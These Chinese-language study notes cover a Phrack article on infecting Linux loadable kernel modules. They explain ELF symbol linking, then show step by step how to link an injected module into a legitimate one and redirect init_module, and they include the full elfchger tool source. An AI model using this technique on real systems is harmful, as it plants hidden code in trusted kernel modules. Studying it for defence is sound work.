Infecting loadable kernel modules 笔记
来源:互联网 发布:ransac算法详解 编辑:程序博客网 时间:2024/05/19 04:28
phrack 68期 Infecting loadable kernel modules 笔记
源文章:http://www.phrack.org/issues.html?issue=68&id=11#article
一。ELF文件格式与内核模块链接机制
1.对于内核模块来说,主要包括了ELF格式中的三个部分(按文件中的存储顺序):ELF header, sections, section header table.
Linux Kernel Module View
========================
ELF header
Section 1
...
Section n
Section header table
相关的sections:
.strtab:该section 保存的是section和symbol的名称字符串,各字符串以'\0'结尾。
.symtab:符号信息表, 包括符号的地址,作用域等信息。
.gnu.linkonce.this_module:保存了struct module结构,如果模块使用module_init,module_exit定义初始化和清理函数的话,那么该结构中的init函数和exit函数就会有定义。
2.内核模块链接机制
/*orig.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/*evil.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
int evil(void) {
printk(KERN_ALERT "Init Inject!");
return 0;
}
/*Makefile*/
obj-m += orig.o evil.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
根据Makefile,orig.c和evil.c会编译为两个.ko的内核模块。
编译时每个模块都会生成对应的XXX.mod.c文件, 该文件中定义了struct module结构并指定放入.gnu.linkonce.this_module段中。
以orig.mod.c为例
/*orig.mod.c*/
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
init,exit函数统一赋值为init_module, cleanup_module函数。
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0x83df6f39, "struct_module" },
{ 0x1b7d4074, "printk" },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
init_module, cleanup_module函数并没有定义,所以编译后的orig.mod.o文件为
objdump -t orig.mod.o
orig.mod.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 orig.mod.c
00000000 l d .text 00000000 .text
00000000 l d .data 00000000 .data
00000000 l d .bss 00000000 .bss
00000000 l d .gnu.linkonce.this_module 00000000 .gnu.linkonce.this_module
00000000 l d .modinfo 00000000 .modinfo
00000000 l O .modinfo 00000009 __module_depends
00000000 l d __versions 00000000 __versions
00000000 l O __versions 00000080 ____versions
00000020 l O .modinfo 00000036 __mod_vermagic5
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l d .comment 00000000 .comment
00000000 g O .gnu.linkonce.this_module 00000240 __this_module
00000000 *UND* 00000000 init_module
00000000 *UND* 00000000 cleanup_module
可以看到 init_module cleanup_module是未定义符号。
这两个符号定义在何处?看module_init module_exit的定义
#ifndef MODULE
[...]
#else /* MODULE */
[...]
/* Each module must use one module_init(). */
#define module_init(initfn) \
static inline initcall_t __inittest(void) \
{ return initfn; } \
int init_module(void) __attribute__((alias(#initfn)));
/* This is only required if you want to be unloadable. */
#define module_exit(exitfn) \
static inline exitcall_t __exittest(void) \
{ return exitfn; } \
void cleanup_module(void) __attribute__((alias(#exitfn)));
[...]
#endif /*MODULE*/
这里module_init和module_exit宏函数将initfn和exitfn 分别定义了两个别名init_module和cleanup_module,这样在链接的时候就能找到init_module和cleanup_module了。
objdump -t orig.ko
orig.ko: file format elf32-i386
SYMBOL TABLE:
00000000 l d .note.gnu.build-id 00000000 .note.gnu.build-id
00000000 l d .text 00000000 .text
00000000 l d .rodata.str1.1 00000000 .rodata.str1.1
00000000 l d .modinfo 00000000 .modinfo
00000000 l d __versions 00000000 __versions
00000000 l d .data 00000000 .data
00000000 l d .gnu.linkonce.this_module 00000000 .gnu.linkonce.this_module
00000000 l d .bss 00000000 .bss
00000000 l d .comment 00000000 .comment
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l df *ABS* 00000000 orig.c
00000000 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 orig.mod.c
00000020 l O .modinfo 00000009 __module_depends
00000000 l O __versions 00000080 ____versions
00000040 l O .modinfo 00000036 __mod_vermagic5
00000000 g O .gnu.linkonce.this_module 00000240 __this_module
00000000 g F .text 0000000c cleanup_module
0000000c g F .text 0000000e init_module
00000000 g F .text 0000000c clean
00000000 *UND* 00000000 printk
0000000c g F .text 0000000e init
可以看到init_module的地址为0000000c与init是一样的.
(printk符号的未定义在内核加载模块时会被解决)
二。简单的例子
假设orig.ko是正常的系统模块,evil.ko是我们编写的用来感染的模块
目标:感染orig.ko模块,系统在加载该时,会能调用evil.ko中的函数。
ld -r orig.ko evil.ko -o new.ko //orig.ko一定要放在前面, 否则是就是orig.ko链接到evil.ko里面了,加载后会出来一个evil的模块。。。
objdump -t new.ko
new.ko: file format elf32-i386
SYMBOL TABLE:
00000000 l d .note.gnu.build-id 00000000 .note.gnu.build-id
00000000 l d .text 00000000 .text
00000000 l d .rodata.str1.1 00000000 .rodata.str1.1
00000000 l d .modinfo 00000000 .modinfo
00000000 l d __versions 00000000 __versions
00000000 l d .data 00000000 .data
00000000 l d .gnu.linkonce.this_module 00000000 .gnu.linkonce.this_module
00000000 l d .bss 00000000 .bss
00000000 l d .comment 00000000 .comment
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l df *ABS* 00000000 orig.c
00000000 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 orig.mod.c
00000020 l O .modinfo 00000009 __module_depends
00000000 l O __versions 00000080 ____versions
00000040 l O .modinfo 00000036 __mod_vermagic5
00000000 l df *ABS* 00000000 evil.c
00000080 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 evil.mod.c
000000a0 l O .modinfo 00000009 __module_depends
00000080 l O __versions 00000080 ____versions
000000c0 l O .modinfo 00000036 __mod_vermagic5
0000001c g F .text 0000000e evil
00000000 g O .gnu.linkonce.this_module 00000240 __this_module
00000000 g F .text 0000000c cleanup_module
0000000c g F .text 0000000e init_module
00000000 g F .text 0000000c clean
00000000 *UND* 00000000 printk
0000000c g F .text 0000000e init
将orig.ko和evil.ko链接到一起,此时init_module的地址为0000000c,与init是一样的.
用elfchger工具把它改成evil的地址。。。
./tools/elfchger -s init_module -v 0000001c new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x8ac
[+] Finding ".strtab" section...
>> Found at 0x8d4
[+] Getting symbol' infos:
>> Symbol found at 0xacc
>> Index in symbol table: 0x1a
[+] Replacing 0x0000001c with 0x00000000... done!
objdump -t new.ko
new.ko: file format elf32-i386
SYMBOL TABLE:
00000000 l d .note.gnu.build-id 00000000 .note.gnu.build-id
00000000 l d .text 00000000 .text
00000000 l d .rodata.str1.1 00000000 .rodata.str1.1
00000000 l d .modinfo 00000000 .modinfo
00000000 l d __versions 00000000 __versions
00000000 l d .data 00000000 .data
00000000 l d .gnu.linkonce.this_module 00000000 .gnu.linkonce.this_module
00000000 l d .bss 00000000 .bss
00000000 l d .comment 00000000 .comment
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l df *ABS* 00000000 orig.c
00000000 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 orig.mod.c
00000020 l O .modinfo 00000009 __module_depends
00000000 l O __versions 00000080 ____versions
00000040 l O .modinfo 00000036 __mod_vermagic5
00000000 l df *ABS* 00000000 evil.c
00000080 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 evil.mod.c
000000a0 l O .modinfo 00000009 __module_depends
00000080 l O __versions 00000080 ____versions
000000c0 l O .modinfo 00000036 __mod_vermagic5
0000001c g F .text 0000000e evil
00000000 g O .gnu.linkonce.this_module 00000240 __this_module
00000000 g F .text 0000000c cleanup_module
0000001c g F .text 0000000e init_module
00000000 g F .text 0000000c clean
00000000 *UND* 00000000 printk
0000000c g F .text 0000000e init
地址已经更改,然后insmod new.ko
dmesg
得到Init Inject! 内核消息, evil已被调用。
三。调用初始化函数
上面已经成功感染了一个模块, 但做法比较简单, 感染是直接用evil来替换原来的初始化函数,也就是说原来的模块无法正常运行了,这就太明显了。。。
接下来是解决如何由evil来调用模块原来的初始化函数, 特别是静态的初始化函数。
实际的模块中一般将初始化函数和退出函数都定义为static, 我们也修改orig.c将init和exit都改为static,
/*orig.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
static int init(void) {
printk(KERN_ALERT "111Init Original!");
return 0;
}
static void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
编译后:
readelf -a orig.o
Symbol table '.symtab' contains 15 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
2: 00000000 0 SECTION LOCAL DEFAULT 1
3: 00000000 0 SECTION LOCAL DEFAULT 3
4: 00000000 0 SECTION LOCAL DEFAULT 4
5: 00000000 0 SECTION LOCAL DEFAULT 5
6: 00000000 12 FUNC LOCAL DEFAULT 1 clean
7: 0000000c 14 FUNC LOCAL DEFAULT 1 init
8: 00000000 0 SECTION LOCAL DEFAULT 6
9: 00000000 12 OBJECT LOCAL DEFAULT 6 __mod_license6
10: 00000000 0 SECTION LOCAL DEFAULT 8
11: 00000000 0 SECTION LOCAL DEFAULT 7
12: 00000000 0 NOTYPE GLOBAL DEFAULT UND printk
13: 0000000c 14 FUNC GLOBAL DEFAULT 1 init_module
14: 00000000 12 FUNC GLOBAL DEFAULT 1 cleanup_module
init与clean被定义为static , 所以其为本地可见,无法被外部其他对象链接了。
在evil函数中显式调用init函数,但此时evil.ko中init的是未定义的。
/*evil.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int init(void);
int evil(void) {
init();
printk(KERN_ALERT "111Init Inject!");
return 0;
}
需要修改orig.ko中的init 与clean 函数 修改为全局,然后重新按上面步骤链接,就OK了。
make;
./tools/elfchger -g init orig.ko
修改init符号为全局
make
ld -r orig.ko evil.ko -o new.ko
./tools/elfchger -s init_module -v 0000001c new.ko
insmod
输出Init Original! Init Inject!都被调用了。
四。调用__init 修饰的初始化函数
__init 修饰后 代码会放置在.init.text段中, 解决方法很简单 evil也定义为__init类型, 这样在同一段中,然后按上面的步骤就可以。
工具代码,32位平台的, 基本就是解析,修改ELF文件。
/*
* elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code)
*
* Script with two features:
*
* Usage 1: Change the symbol name value (address) in a kernel module.
* Usage 2: Change the symbol binding (from local to global) in a kernel
* module.
*
* Usage:
* 1: ./elfchger -f [symbol] -v [value] <module_name>
* 2: ./elfchger -g [symbol] <module_name>
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <getopt.h>
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr);
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name);
int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr);
void usage(char *cmd);
int main (int argc, char **argv) {
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
Elf32_Addr value;
unsigned long new_index = 0;
int gflag = 0, vflag = 0, fflag = 0;
char *sym_name;
int sym_value = 0;
long sym_off, str_off;
int opt;
if ( argc != 4 && argc != 6 ) {
usage(argv[0]);
exit(-1);
}
while ((opt = getopt(argc, argv, "vsg")) != -1) {
switch (opt) {
case 'g':
if( argc-1 < optind) {
printf("[-] You must specify symbol name!\n");
usage(argv[0]);
exit(-1);
}
gflag = 1;
sym_name = argv[optind];
break;
case 's':
if( argc-1 < optind) {
printf("[-] You must specify symbol name!\n");
usage(argv[0]);
exit(-1);
}
fflag = 1;
sym_name = argv[optind];
break;
case 'v':
if( argc-1 < optind) {
printf("[-] You must specify new symbol address\n");
usage(argv[0]);
exit(-1);
}
vflag = 1;
sym_value = strtol(argv[optind], (char **) NULL, 16);
break;
default:
usage(argv[0]);
exit(-1);
}
}
printf("[+] Opening %s file...\n", argv[argc-1]);
fd = fopen (argv[argc-1], "r+");
if (fd == NULL) {
printf("[-] File \"%s\" not found!\n", argv[1]);
exit(-1);
}
printf("[+] Reading Elf header...\n");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) {
printf("[-] Elf header corrupted!\n");
exit(-1);
}
printf("\t>> Done!\n");
printf("[+] Finding \".symtab\" section...\n");
sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);
if (sym_off == -1) {
printf("[-] Can't get .symtab section\n");
exit(-1);
}
printf("\t>> Found at 0x%x\n", (int )sym_off);
printf("[+] Finding \".strtab\" section...\n");
str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);
if (str_off == -1) {
printf("[-] Can't get .strtab section!\n");
exit(-1);
}
printf("\t>> Found at 0x%x\n", (int )str_off);
printf("[+] Getting symbol' infos:\n");
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym);
if ( (int) symoffset == -1) {
printf("[-] Symbol \"%s\" not found!\n", sym_name);
exit(-1);
}
if ( gflag == 1 ) {
if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) {
unsigned char global;
unsigned long offset = 0;
printf("[+] Reordering symbols:\n");
new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name);
printf("[+] Updating symbol' infos:\n");
symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym);
if ( (int) symoffset == -1) {
printf("[-] Symbol \"%s\" not found!\n", sym_name);
exit(-1);
}
offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2;
printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\
\n", (unsigned int)offset);
if (fseek (fd, offset, SEEK_SET) == -1) {
perror("[-] fseek: ");
exit(-1);
}
global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);
if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) {
perror("[-] fwrite: ");
exit(-1);
}
printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off);
if ( fseek(fd, sym_off, SEEK_SET) == -1 ) {
perror("[-] fseek: ");
exit(-1);
}
symtab.sh_info = new_index; // updating sh_info with the new index
// in symbol table.
if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) {
perror("[-] fwrite: ");
exit(-1);
}
} else {
printf("[-] Already global function!\n");
}
} else if ( fflag == 1 && vflag == 1 ) {
memset(&value, 0, sizeof(Elf32_Addr));
memcpy(&value, &sym_value, sizeof(Elf32_Addr));
printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value);
if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) {
perror("[-] fseek: ");
exit(-1);
}
if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) {
perror("[-] fwrite: ");
exit(-1);
}
printf("done!\n");
fclose (fd);
}
return 0;
}
/* This function returns the offset relative to the symbol name "name" */
Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) {
unsigned int i;
char symname[255];
for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) {
perror("\t[-] read: ");
exit(-1);
}
memset (symname, 0, sizeof (symname));
ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname));
if (!strcmp (symname, name)) {
printf("\t>> Symbol found at 0x%x\n",
symtab->sh_offset + (i * symtab->sh_entsize));
printf("\t>> Index in symbol table: 0x%x\n", i);
return symtab->sh_offset + (i * symtab->sh_entsize);
}
}
return -1;
}
/* This function returns the new index of symbol "name" inside the symbol
* table after re-ordering. */
unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name) {
unsigned int i = 0, j = 0;
char symname[255];
Elf32_Sym *all;
Elf32_Sym temp;
unsigned long new_index = 0;
unsigned long my_off = 0;
printf("\t>> Starting:\n");
all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) *
(symtab->sh_size/symtab->sh_entsize));
if ( all == NULL ) {
return -1;
}
memset(all, 0, symtab->sh_size/symtab->sh_entsize);
my_off = symtab->sh_offset;
for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) {
printf("\t[-] fread: ");
exit(-1);
}
memset (symname, 0, sizeof (symname));
ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname));
if (!strcmp (symname, name)) {
j = i;
continue;
}
}
temp = all[j];
for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) {
if ( i+1 >= symtab->sh_size/symtab->sh_entsize )
break;
if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) {
printf("\t>> Moving symbol from %x to %x\n", i+1, i);
all[i] = all[i+1];
} else {
new_index = i;
printf("\t>> Moving our symbol from %d to %x\n", j, i);
all[i] = temp;
break;
}
}
printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index);
if ( fseek (fd, my_off, SEEK_SET) == -1 ) {
perror("\t[-] fseek: ");
exit(-1);
}
if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize,
fd) < (symtab->sh_size/symtab->sh_entsize )) {
perror("\t[-] fwrite: ");
exit(-1);
}
printf("\t>> Done!\n");
free(all);
return new_index;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr) {
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {
printf("\t[-] Sections header corrupted");
exit(-1);
}
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr) {
int i;
char name[255];
Elf32_Shdr shstrtable;
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for ( i = 0; i < ehdr->e_shnum; i++) {
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {
printf("[-] Sections header corrupted");
exit(-1);
}
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section)) {
return ehdr->e_shoff + (i * ehdr->e_shentsize);
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len) {
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
while ( (i < len-1) || *res != '\0' ) {
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) {
perror("\t[-] fseek: ");
exit(-1);
}
while ((i < len-1) || *res != '\0') {
*res = fgetc (fd);
i++;
res++;
}
return;
}
void usage(char *cmd) {
printf("Usage: %s <option(s)> <module_name>\n", cmd);
printf("Option(s):\n");
printf(" -g [symbol]\tSymbol we want to change the binding as global\n");
printf("Or:\n");
printf(" -s [symbol]\tSymbol we want to change the value (address)\n");
printf(" -v [value] \tNew value (address) for symbol\n");
return;
}
- Infecting loadable kernel modules 笔记
- Loadable Kernel Modules 注射
- Detecting Loadable Kernel Modules (LKM)
- How to Create, Compile, Load Linux LKM Loadable Kernel Modules
- Remote Debugging of Loadable Kernel Modules with kgdb: a Knowledge-based Article for Getting Started
- Writing Loadable Kernel Modules using netfilter hooks (in-depth HOWTO) – Part 1
- Writing Loadable Kernel Modules using netfilter hooks (in-depth HOWTO) – Part 1
- Writing Loadable Kernel Modules using netfilter hooks (in-depth HOWTO) – Part 1
- 【kernel + modules】
- Kernel , Modules
- Compile Linux Kernel Modules
- Kernel Modules Versus Applications
- Installing Kernel Modules
- VirtualBox kernel modules lost!!!
- android build kernel modules
- [Linux Project] Kernel Modules
- 可装载内核模块-Loadable Kernel Module (LKM)
- [linux] kernel modules make study.
- 括号东东(dp+字符串)
- Android安卓编码规范及性能优化
- 褪去华衣 裸视学习 探讨系列
- ASP.NET 关健字查询:高亮显示
- Android系统进程间通信Binder机制在应用程序框架层的Java接口源代码分析
- Infecting loadable kernel modules 笔记
- ymPrompt 自定义关闭弹出的子窗口
- java怎么把system.out的东西输出到文件上
- Note: This element neither has attached source nor attached Javadoc and hence no Javadoc could
- 关于const char*和char*、const char** 和char** 赋值问题
- c语言最新资料大全
- 3.2-module分析
- linux命令备忘
- smpser_viettel_product.sh